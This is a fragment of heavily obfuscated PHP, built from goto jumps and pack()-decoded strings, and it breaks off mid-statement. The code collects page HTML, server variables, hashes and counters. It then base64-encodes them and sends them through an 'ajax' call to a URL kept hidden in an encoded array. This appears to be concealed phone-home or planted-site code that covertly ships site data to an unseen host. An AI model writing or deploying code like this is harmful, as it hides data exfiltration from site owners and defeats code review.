I4pldMhx3r;I4peWjgx3r:$I4pcVvP4=&$GLOBALS[YUmfltv][00];goto I4px3q;I4pldMhx3r:$I4pcVvP4=$GLOBALS[YUmfltv][00];I4px3q:$I4peFvP3=call_user_func_array("pack",array(&$I4pcVvP4,$GLOBALS[YUmfltv]{11}));$I4peF6=call_user_func_array("getrs",array(&$I4peFvP0,&$I4peFvP3));unset($I4ptIA5);$S_count=$I4peF6;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3v;goto I4pldMhx3v;I4peWjgx3v:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px3u;I4pldMhx3v:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px3u:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3t;goto I4pldMhx3t;I4peWjgx3t:$I4pcVvP2=&$GLOBALS[YUmfltv][0xD];goto I4px3s;I4pldMhx3t:$I4pcVvP2=$GLOBALS[YUmfltv][0xD];I4px3s:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4pcVvP6);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4z;goto I4pldMhx4z;I4peWjgx4z:$I4pcVvP6=&$GLOBALS[YUmfltv][00];goto I4px3y;I4pldMhx4z:$I4pcVvP6=$GLOBALS[YUmfltv][00];I4px3y:unset($I4pcVvP7);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3x;goto I4pldMhx3x;I4peWjgx3x:$I4pcVvP7=&$GLOBALS[YUmfltv][016];goto I4px3w;I4pldMhx3x:$I4pcVvP7=$GLOBALS[YUmfltv][016];I4px3w:$I4peFvP5=call_user_func_array("pack",array(&$I4pcVvP6,&$I4pcVvP7));$I4peF10=call_user_func_array("getrs",array(&$I4peFvP0,&$I4peFvP5));unset($I4ptIA5);$L_count=$I4peF10;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx42;goto I4pldMhx42;I4peWjgx42:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px41;I4pldMhx42:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px41:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,$GLOBALS[YUmfltv]{15}));unset($I4pcVvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx46;goto I4pldMhx46;I4peWjgx46:$I4pcVvP4=&$GLOBALS[YUmfltv][00];goto I4px45;I4pldMhx46:$I4pcVvP4=$GLOBALS[YUmfltv][00];I4px45:unset($I4pcVvP5);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx44;goto I4pldMhx44;I4peWjgx44:$I4pcVvP5=&$GLOBALS[YUmfltv][0x10];goto I4px43;I4pldMhx44:$I4pcVvP5=$GLOBALS[YUmfltv][0x10];I4px43:$I4peFvP3=call_user_func_array("pack",array(&$I4pcVvP4,&$I4pcVvP5));$I4peF8=call_user_func_array("getrs",array(&$I4peFvP0,&$I4peFvP3));unset($I4ptIA5);$L_sum=$I4peF8;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx48;goto I4pldMhx48;I4peWjgx48:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px47;I4pldMhx48:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px47:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,$GLOBALS[YUmfltv]{0x11}));unset($I4pcVvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4c;goto I4pldMhx4c;I4peWjgx4c:$I4pcVvP4=&$GLOBALS[YUmfltv][00];goto I4px4b;I4pldMhx4c:$I4pcVvP4=$GLOBALS[YUmfltv][00];I4px4b:unset($I4pcVvP5);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4a;goto I4pldMhx4a;I4peWjgx4a:$I4pcVvP5=&$GLOBALS[YUmfltv][022];goto I4px49;I4pldMhx4a:$I4pcVvP5=$GLOBALS[YUmfltv][022];I4px49:$I4peFvP3=call_user_func_array("pack",array(&$I4pcVvP4,&$I4pcVvP5));unset($I4pcVvP9);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4g;goto I4pldMhx4g;I4peWjgx4g:$I4pcVvP9=&$GLOBALS[YUmfltv][00];goto I4px4f;I4pldMhx4g:$I4pcVvP9=$GLOBALS[YUmfltv][00];I4px4f:unset($I4pcVvP10);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4e;goto I4pldMhx4e;I4peWjgx4e:$I4pcVvP10=&$GLOBALS[YUmfltv][19];goto I4px4d;I4pldMhx4e:$I4pcVvP10=$GLOBALS[YUmfltv][19];I4px4d:$I4peFvP8=call_user_func_array("pack",array(&$I4pcVvP9,&$I4pcVvP10));unset($I4pcVvPvP14);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4k;goto I4pldMhx4k;I4peWjgx4k:$I4pcVvPvP14=&$GLOBALS[YUmfltv][00];goto I4px4j;I4pldMhx4k:$I4pcVvPvP14=$GLOBALS[YUmfltv][00];I4px4j:unset($I4pcVvPvP15);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4i;goto I4pldMhx4i;I4peWjgx4i:$I4pcVvPvP15=&$GLOBALS[YUmfltv][0x14];goto I4px4h;I4pldMhx4i:$I4pcVvPvP15=$GLOBALS[YUmfltv][0x14];I4px4h:$I4peFvPvP13=call_user_func_array("pack",array(&$I4pcVvPvP14,&$I4pcVvPvP15));$I4peFvP18=call_user_func_array("date",array(&$I4peFvPvP13));unset($I4pcVvP20);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4m;goto I4pldMhx4m;I4peWjgx4m:$I4pcVvP20=&$GLOBALS[YUmfltv][00];goto I4px4l;I4pldMhx4m:$I4pcVvP20=$GLOBALS[YUmfltv][00];I4px4l:$I4peFvP19=call_user_func_array("pack",array(&$I4pcVvP20,$GLOBALS[YUmfltv]{21}));unset($I4pcVvPvP23);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4q;goto I4pldMhx4q;I4peWjgx4q:$I4pcVvPvP23=&$GLOBALS[YUmfltv][00];goto I4px4p;I4pldMhx4q:$I4pcVvPvP23=$GLOBALS[YUmfltv][00];I4px4p:unset($I4pcVvPvP24);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4o;goto I4pldMhx4o;I4peWjgx4o:$I4pcVvPvP24=&$GLOBALS[YUmfltv][026];goto I4px4n;I4pldMhx4o:$I4pcVvPvP24=$GLOBALS[YUmfltv][026];I4px4n:$I4peFvPvP22=call_user_func_array("pack",array(&$I4pcVvPvP23,&$I4pcVvPvP24));$I4pzA27=array();$I4pzA27[$I4peFvP0]=$html;$I4pzA27[$I4peFvP3]=$H_data;$I4pzA27[$I4peFvP8]=$I4peFvP18;$I4pzA27[$I4peFvP19]=$_SERVER[$I4peFvPvP22];unset($I4ptIA5);$data2=$I4pzA27;$I4peFvPvP0=call_user_func_array("json_encode",array(&$data2));$I4peFvP1=call_user_func_array("base64_encode",array(&$I4peFvPvP0));$I4peF2=call_user_func_array("md5",array(&$I4peFvP1));unset($I4ptIA5);$md5=$I4peF2;$I4peF0=call_user_func_array("isMobile",array());if($I4peF0)goto I4peWjgx4s;goto I4pldMhx4s;I4peWjgx4s:unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4w;goto I4pldMhx4w;I4peWjgx4w:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px4v;I4pldMhx4w:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px4v:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4u;goto I4pldMhx4u;I4peWjgx4u:$I4pcVvP2=&$GLOBALS[YUmfltv][23];goto I4px4t;I4pldMhx4u:$I4pcVvP2=$GLOBALS[YUmfltv][23];I4px4t:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4ptIA5);$t=$H_data[$I4peFvP0];goto I4px4r;I4pldMhx4s:unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx51;goto I4pldMhx51;I4peWjgx51:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px5z;I4pldMhx51:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px5z:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx4y;goto I4pldMhx4y;I4peWjgx4y:$I4pcVvP2=&$GLOBALS[YUmfltv][0x18];goto I4px4x;I4pldMhx4y:$I4pcVvP2=$GLOBALS[YUmfltv][0x18];I4px4x:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4ptIA5);$t=$H_data[$I4peFvP0];I4px4r:unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx53;goto I4pldMhx53;I4peWjgx53:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px52;I4pldMhx53:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px52:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,$GLOBALS[YUmfltv]{0x11}));unset($I4pcVvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx57;goto I4pldMhx57;I4peWjgx57:$I4pcVvP4=&$GLOBALS[YUmfltv][00];goto I4px56;I4pldMhx57:$I4pcVvP4=$GLOBALS[YUmfltv][00];I4px56:unset($I4pcVvP5);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx55;goto I4pldMhx55;I4peWjgx55:$I4pcVvP5=&$GLOBALS[YUmfltv][022];goto I4px54;I4pldMhx55:$I4pcVvP5=$GLOBALS[YUmfltv][022];I4px54:$I4peFvP3=call_user_func_array("pack",array(&$I4pcVvP4,&$I4pcVvP5));unset($I4pcVvP9);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5b;goto I4pldMhx5b;I4peWjgx5b:$I4pcVvP9=&$GLOBALS[YUmfltv][00];goto I4px5a;I4pldMhx5b:$I4pcVvP9=$GLOBALS[YUmfltv][00];I4px5a:unset($I4pcVvP10);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx59;goto I4pldMhx59;I4peWjgx59:$I4pcVvP10=&$GLOBALS[YUmfltv][07];goto I4px58;I4pldMhx59:$I4pcVvP10=$GLOBALS[YUmfltv][07];I4px58:$I4peFvP8=call_user_func_array("pack",array(&$I4pcVvP9,&$I4pcVvP10));unset($I4pcVvP14);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5d;goto I4pldMhx5d;I4peWjgx5d:$I4pcVvP14=&$GLOBALS[YUmfltv][00];goto I4px5c;I4pldMhx5d:$I4pcVvP14=$GLOBALS[YUmfltv][00];I4px5c:$I4peFvP13=call_user_func_array("pack",array(&$I4pcVvP14,$GLOBALS[YUmfltv]{011}));unset($I4pcVvP17);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5f;goto I4pldMhx5f;I4peWjgx5f:$I4pcVvP17=&$GLOBALS[YUmfltv][00];goto I4px5e;I4pldMhx5f:$I4pcVvP17=$GLOBALS[YUmfltv][00];I4px5e:$I4peFvP16=call_user_func_array("pack",array(&$I4pcVvP17,$GLOBALS[YUmfltv]{11}));unset($I4pcVvP20);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5h;goto I4pldMhx5h;I4peWjgx5h:$I4pcVvP20=&$GLOBALS[YUmfltv][00];goto I4px5g;I4pldMhx5h:$I4pcVvP20=$GLOBALS[YUmfltv][00];I4px5g:$I4peFvP19=call_user_func_array("pack",array(&$I4pcVvP20,$GLOBALS[YUmfltv]{0x19}));unset($I4pcVvP23);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5l;goto I4pldMhx5l;I4peWjgx5l:$I4pcVvP23=&$GLOBALS[YUmfltv][00];goto I4px5k;I4pldMhx5l:$I4pcVvP23=$GLOBALS[YUmfltv][00];I4px5k:unset($I4pcVvP24);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5j;goto I4pldMhx5j;I4peWjgx5j:$I4pcVvP24=&$GLOBALS[YUmfltv][016];goto I4px5i;I4pldMhx5j:$I4pcVvP24=$GLOBALS[YUmfltv][016];I4px5i:$I4peFvP22=call_user_func_array("pack",array(&$I4pcVvP23,&$I4pcVvP24));unset($I4pcVvP28);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5p;goto I4pldMhx5p;I4peWjgx5p:$I4pcVvP28=&$GLOBALS[YUmfltv][00];goto I4px5o;I4pldMhx5p:$I4pcVvP28=$GLOBALS[YUmfltv][00];I4px5o:unset($I4pcVvP29);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5n;goto I4pldMhx5n;I4peWjgx5n:$I4pcVvP29=&$GLOBALS[YUmfltv][0x10];goto I4px5m;I4pldMhx5n:$I4pcVvP29=$GLOBALS[YUmfltv][0x10];I4px5m:$I4peFvP27=call_user_func_array("pack",array(&$I4pcVvP28,&$I4pcVvP29));unset($I4pcVvP33);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5t;goto I4pldMhx5t;I4peWjgx5t:$I4pcVvP33=&$GLOBALS[YUmfltv][00];goto I4px5s;I4pldMhx5t:$I4pcVvP33=$GLOBALS[YUmfltv][00];I4px5s:unset($I4pcVvP34);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5r;goto I4pldMhx5r;I4peWjgx5r:$I4pcVvP34=&$GLOBALS[YUmfltv][0x1A];goto I4px5q;I4pldMhx5r:$I4pcVvP34=$GLOBALS[YUmfltv][0x1A];I4px5q:$I4peFvP32=call_user_func_array("pack",array(&$I4pcVvP33,&$I4pcVvP34));unset($I4pcVvP38);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5x;goto I4pldMhx5x;I4peWjgx5x:$I4pcVvP38=&$GLOBALS[YUmfltv][00];goto I4px5w;I4pldMhx5x:$I4pcVvP38=$GLOBALS[YUmfltv][00];I4px5w:unset($I4pcVvP39);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx5v;goto I4pldMhx5v;I4peWjgx5v:$I4pcVvP39=&$GLOBALS[YUmfltv][033];goto I4px5u;I4pldMhx5v:$I4pcVvP39=$GLOBALS[YUmfltv][033];I4px5u:$I4peFvP37=call_user_func_array("pack",array(&$I4pcVvP38,&$I4pcVvP39));unset($I4pcVvP43);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6z;goto I4pldMhx6z;I4peWjgx6z:$I4pcVvP43=&$GLOBALS[YUmfltv][00];goto I4px5y;I4pldMhx6z:$I4pcVvP43=$GLOBALS[YUmfltv][00];I4px5y:$I4peFvP42=call_user_func_array("pack",array(&$I4pcVvP43,$GLOBALS[YUmfltv]{0x1C}));unset($I4pcVvPvP46);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx64;goto I4pldMhx64;I4peWjgx64:$I4pcVvPvP46=&$GLOBALS[YUmfltv][00];goto I4px63;I4pldMhx64:$I4pcVvPvP46=$GLOBALS[YUmfltv][00];I4px63:unset($I4pcVvPvP47);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx62;goto I4pldMhx62;I4peWjgx62:$I4pcVvPvP47=&$GLOBALS[YUmfltv][026];goto I4px61;I4pldMhx62:$I4pcVvPvP47=$GLOBALS[YUmfltv][026];I4px61:$I4peFvPvP45=call_user_func_array("pack",array(&$I4pcVvPvP46,&$I4pcVvPvP47));unset($I4pcVvP51);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx68;goto I4pldMhx68;I4peWjgx68:$I4pcVvP51=&$GLOBALS[YUmfltv][00];goto I4px67;I4pldMhx68:$I4pcVvP51=$GLOBALS[YUmfltv][00];I4px67:unset($I4pcVvP52);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx66;goto I4pldMhx66;I4peWjgx66:$I4pcVvP52=&$GLOBALS[YUmfltv][035];goto I4px65;I4pldMhx66:$I4pcVvP52=$GLOBALS[YUmfltv][035];I4px65:$I4peFvP50=call_user_func_array("pack",array(&$I4pcVvP51,&$I4pcVvP52));$I4pzA55=array();$I4pzA55[$I4peFvP0]=$html;$I4pzA55[$I4peFvP3]=$H_data;$I4pzA55[$I4peFvP8]=$N_count;$I4pzA55[$I4peFvP13]=$P_count;$I4pzA55[$I4peFvP16]=$M_count;$I4pzA55[$I4peFvP19]=$S_count;$I4pzA55[$I4peFvP22]=$L_count;$I4pzA55[$I4peFvP27]=$L_sum;$I4pzA55[$I4peFvP32]=$type;$I4pzA55[$I4peFvP37]=$md5;$I4pzA55[$I4peFvP42]=$_SERVER[$I4peFvPvP45];$I4pzA55[$I4peFvP50]=$t;unset($I4ptIA5);$data=$I4pzA55;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6v;goto I4pldMhx6v;I4peWjgx6v:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px6u;I4pldMhx6v:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px6u:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6t;goto I4pldMhx6t;I4peWjgx6t:$I4pcVvP2=&$GLOBALS[YUmfltv][036];goto I4px6s;I4pldMhx6t:$I4pcVvP2=$GLOBALS[YUmfltv][036];I4px6s:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4pcVvPvPvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6d;goto I4pldMhx6d;I4peWjgx6d:$I4pcVvPvPvP4=&$GLOBALS[YUmfltv][00];goto I4px6c;I4pldMhx6d:$I4pcVvPvPvP4=$GLOBALS[YUmfltv][00];I4px6c:unset($I4pcVvPvPvP5);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6b;goto I4pldMhx6b;I4peWjgx6b:$I4pcVvPvPvP5=&$GLOBALS[YUmfltv][026];goto I4px6a;I4pldMhx6b:$I4pcVvPvPvP5=$GLOBALS[YUmfltv][026];I4px6a:$I4peFvPvPvP3=call_user_func_array("pack",array(&$I4pcVvPvPvP4,&$I4pcVvPvPvP5));unset($I4pcVvPvP9);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6h;goto I4pldMhx6h;I4peWjgx6h:$I4pcVvPvP9=&$GLOBALS[YUmfltv][00];goto I4px6g;I4pldMhx6h:$I4pcVvPvP9=$GLOBALS[YUmfltv][00];I4px6g:unset($I4pcVvPvP10);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6f;goto I4pldMhx6f;I4peWjgx6f:$I4pcVvPvP10=&$GLOBALS[YUmfltv][31];goto I4px6e;I4pldMhx6f:$I4pcVvPvP10=$GLOBALS[YUmfltv][31];I4px6e:$I4peFvPvP8=call_user_func_array("pack",array(&$I4pcVvPvP9,&$I4pcVvPvP10));unset($I4pcVvP14);if(is_array($_SERVER))goto I4peWjgx6r;goto I4pldMhx6r;I4peWjgx6r:$I4pcVvP14=&$_SERVER[$I4peFvPvPvP3];goto I4px6q;I4pldMhx6r:$I4pcVvP14=$_SERVER[$I4peFvPvPvP3];I4px6q:$I4peFvP13=call_user_func_array("splitx",array(&$I4pcVvP14,&$I4peFvPvP8,0));$I4pvPA5=$I4peFvP0 . $I4peFvP13;$I4pvPA6=$I4pvPA5 . $t;unset($I4pcVvP16);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6p;goto I4pldMhx6p;I4peWjgx6p:$I4pcVvP16=&$GLOBALS[YUmfltv][00];goto I4px6o;I4pldMhx6p:$I4pcVvP16=$GLOBALS[YUmfltv][00];I4px6o:unset($I4pcVvP17);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6n;goto I4pldMhx6n;I4peWjgx6n:$I4pcVvP17=&$GLOBALS[YUmfltv][040];goto I4px6m;I4pldMhx6n:$I4pcVvP17=$GLOBALS[YUmfltv][040];I4px6m:$I4peFvP15=call_user_func_array("pack",array(&$I4pcVvP16,&$I4pcVvP17));$I4pvPA7=$I4pvPA6 . $I4peFvP15;$I4pvPA8=$I4pvPA7 . $type;unset($I4pcVvP19);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6l;goto I4pldMhx6l;I4peWjgx6l:$I4pcVvP19=&$GLOBALS[YUmfltv][00];goto I4px6k;I4pldMhx6l:$I4pcVvP19=$GLOBALS[YUmfltv][00];I4px6k:unset($I4pcVvP20);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx6j;goto I4pldMhx6j;I4peWjgx6j:$I4pcVvP20=&$GLOBALS[YUmfltv][041];goto I4px6i;I4pldMhx6j:$I4pcVvP20=$GLOBALS[YUmfltv][041];I4px6i:$I4peFvP18=call_user_func_array("pack",array(&$I4pcVvP19,&$I4pcVvP20));$I4pvPA9=$I4pvPA8 . $I4peFvP18;$I4peF28=call_user_func_array("is_file",array(&$I4pvPA9));if($I4peF28)goto I4peWjgx6w;goto I4pldMhx6w;I4peWjgx6w:unset($I4pcVvPvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7k;goto I4pldMhx7k;I4peWjgx7k:$I4pcVvPvP1=&$GLOBALS[YUmfltv][00];goto I4px7j;I4pldMhx7k:$I4pcVvPvP1=$GLOBALS[YUmfltv][00];I4px7j:unset($I4pcVvPvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7i;goto I4pldMhx7i;I4peWjgx7i:$I4pcVvPvP2=&$GLOBALS[YUmfltv][036];goto I4px7h;I4pldMhx7i:$I4pcVvPvP2=$GLOBALS[YUmfltv][036];I4px7h:$I4peFvPvP0=call_user_func_array("pack",array(&$I4pcVvPvP1,&$I4pcVvPvP2));unset($I4pcVvPvPvPvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx72;goto I4pldMhx72;I4peWjgx72:$I4pcVvPvPvPvP4=&$GLOBALS[YUmfltv][00];goto I4px71;I4pldMhx72:$I4pcVvPvPvPvP4=$GLOBALS[YUmfltv][00];I4px71:unset($I4pcVvPvPvPvP5);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7z;goto I4pldMhx7z;I4peWjgx7z:$I4pcVvPvPvPvP5=&$GLOBALS[YUmfltv][026];goto I4px6y;I4pldMhx7z:$I4pcVvPvPvPvP5=$GLOBALS[YUmfltv][026];I4px6y:$I4peFvPvPvPvP3=call_user_func_array("pack",array(&$I4pcVvPvPvPvP4,&$I4pcVvPvPvPvP5));unset($I4pcVvPvPvP9);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx76;goto I4pldMhx76;I4peWjgx76:$I4pcVvPvPvP9=&$GLOBALS[YUmfltv][00];goto I4px75;I4pldMhx76:$I4pcVvPvPvP9=$GLOBALS[YUmfltv][00];I4px75:unset($I4pcVvPvPvP10);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx74;goto I4pldMhx74;I4peWjgx74:$I4pcVvPvPvP10=&$GLOBALS[YUmfltv][31];goto I4px73;I4pldMhx74:$I4pcVvPvPvP10=$GLOBALS[YUmfltv][31];I4px73:$I4peFvPvPvP8=call_user_func_array("pack",array(&$I4pcVvPvPvP9,&$I4pcVvPvPvP10));unset($I4pcVvPvP14);if(is_array($_SERVER))goto I4peWjgx7g;goto I4pldMhx7g;I4peWjgx7g:$I4pcVvPvP14=&$_SERVER[$I4peFvPvPvPvP3];goto I4px7f;I4pldMhx7g:$I4pcVvPvP14=$_SERVER[$I4peFvPvPvPvP3];I4px7f:$I4peFvPvP13=call_user_func_array("splitx",array(&$I4pcVvPvP14,&$I4peFvPvPvP8,0));$I4pvPvPA5=$I4peFvPvP0 . $I4peFvPvP13;$I4pvPvPA6=$I4pvPvPA5 . $t;unset($I4pcVvPvP16);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7e;goto I4pldMhx7e;I4peWjgx7e:$I4pcVvPvP16=&$GLOBALS[YUmfltv][00];goto I4px7d;I4pldMhx7e:$I4pcVvPvP16=$GLOBALS[YUmfltv][00];I4px7d:unset($I4pcVvPvP17);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7c;goto I4pldMhx7c;I4peWjgx7c:$I4pcVvPvP17=&$GLOBALS[YUmfltv][040];goto I4px7b;I4pldMhx7c:$I4pcVvPvP17=$GLOBALS[YUmfltv][040];I4px7b:$I4peFvPvP15=call_user_func_array("pack",array(&$I4pcVvPvP16,&$I4pcVvPvP17));$I4pvPvPA7=$I4pvPvPA6 . $I4peFvPvP15;$I4pvPvPA8=$I4pvPvPA7 . $type;unset($I4pcVvPvP19);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7a;goto I4pldMhx7a;I4peWjgx7a:$I4pcVvPvP19=&$GLOBALS[YUmfltv][00];goto I4px79;I4pldMhx7a:$I4pcVvPvP19=$GLOBALS[YUmfltv][00];I4px79:unset($I4pcVvPvP20);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx78;goto I4pldMhx78;I4peWjgx78:$I4pcVvPvP20=&$GLOBALS[YUmfltv][041];goto I4px77;I4pldMhx78:$I4pcVvPvP20=$GLOBALS[YUmfltv][041];I4px77:$I4peFvPvP18=call_user_func_array("pack",array(&$I4pcVvPvP19,&$I4pcVvPvP20));$I4pvPvPA9=$I4pvPvPA8 . $I4peFvPvP18;$I4peFvP28=call_user_func_array("file_get_contents",array(&$I4pvPvPA9));$I4peF29=call_user_func_array("substr",array(&$I4peFvP28,0,32));$I4pAA=$I4peF29!=$md5;if($I4pAA)goto I4peWjgx7l;goto I4pldMhx7l;I4peWjgx7l:unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7p;goto I4pldMhx7p;I4peWjgx7p:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px7o;I4pldMhx7p:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px7o:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7n;goto I4pldMhx7n;I4peWjgx7n:$I4pcVvP2=&$GLOBALS[YUmfltv][0x22];goto I4px7m;I4pldMhx7n:$I4pcVvP2=$GLOBALS[YUmfltv][0x22];I4px7m:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));$I4peFvPvP5=call_user_func_array("json_encode",array(&$data));$I4peFvP6=call_user_func_array("base64_encode",array(&$I4peFvPvP5));$I4peF7=call_user_func_array("ajax",array(&$I4peFvP0,&$I4peFvP6));goto I4px6x;I4pldMhx7l:I4px6x:goto I4px69;I4pldMhx6w:unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7t;goto I4pldMhx7t;I4peWjgx7t:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px7s;I4pldMhx7t:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px7s:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7r;goto I4pldMhx7r;I4peWjgx7r:$I4pcVvP2=&$GLOBALS[YUmfltv][0x22];goto I4px7q;I4pldMhx7r:$I4pcVvP2=$GLOBALS[YUmfltv][0x22];I4px7q:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));$I4peFvPvP5=call_user_func_array("json_encode",array(&$data));$I4peFvP6=call_user_func_array("base64_encode",array(&$I4peFvPvP5));$I4peF7=call_user_func_array("ajax",array(&$I4peFvP0,&$I4peFvP6));I4px69:unset($I4pcVvPvPvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8g;goto I4pldMhx8g;I4peWjgx8g:$I4pcVvPvPvP1=&$GLOBALS[YUmfltv][00];goto I4px8f;I4pldMhx8g:$I4pcVvPvPvP1=$GLOBALS[YUmfltv][00];I4px8f:unset($I4pcVvPvPvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8e;goto I4pldMhx8e;I4peWjgx8e:$I4pcVvPvPvP2=&$GLOBALS[YUmfltv][036];goto I4px8d;I4pldMhx8e:$I4pcVvPvPvP2=$GLOBALS[YUmfltv][036];I4px8d:$I4peFvPvPvP0=call_user_func_array("pack",array(&$I4pcVvPvPvP1,&$I4pcVvPvPvP2));unset($I4pcVvPvPvPvPvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7x;goto I4pldMhx7x;I4peWjgx7x:$I4pcVvPvPvPvPvP4=&$GLOBALS[YUmfltv][00];goto I4px7w;I4pldMhx7x:$I4pcVvPvPvPvPvP4=$GLOBALS[YUmfltv][00];I4px7w:unset($I4pcVvPvPvPvPvP5);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx7v;goto I4pldMhx7v;I4peWjgx7v:$I4pcVvPvPvPvPvP5=&$GLOBALS[YUmfltv][026];goto I4px7u;I4pldMhx7v:$I4pcVvPvPvPvPvP5=$GLOBALS[YUmfltv][026];I4px7u:$I4peFvPvPvPvPvP3=call_user_func_array("pack",array(&$I4pcVvPvPvPvPvP4,&$I4pcVvPvPvPvPvP5));unset($I4pcVvPvPvPvP9);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx82;goto I4pldMhx82;I4peWjgx82:$I4pcVvPvPvPvP9=&$GLOBALS[YUmfltv][00];goto I4px81;I4pldMhx82:$I4pcVvPvPvPvP9=$GLOBALS[YUmfltv][00];I4px81:unset($I4pcVvPvPvPvP10);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8z;goto I4pldMhx8z;I4peWjgx8z:$I4pcVvPvPvPvP10=&$GLOBALS[YUmfltv][31];goto I4px7y;I4pldMhx8z:$I4pcVvPvPvPvP10=$GLOBALS[YUmfltv][31];I4px7y:$I4peFvPvPvPvP8=call_user_func_array("pack",array(&$I4pcVvPvPvPvP9,&$I4pcVvPvPvPvP10));unset($I4pcVvPvPvP14);if(is_array($_SERVER))goto I4peWjgx8c;goto 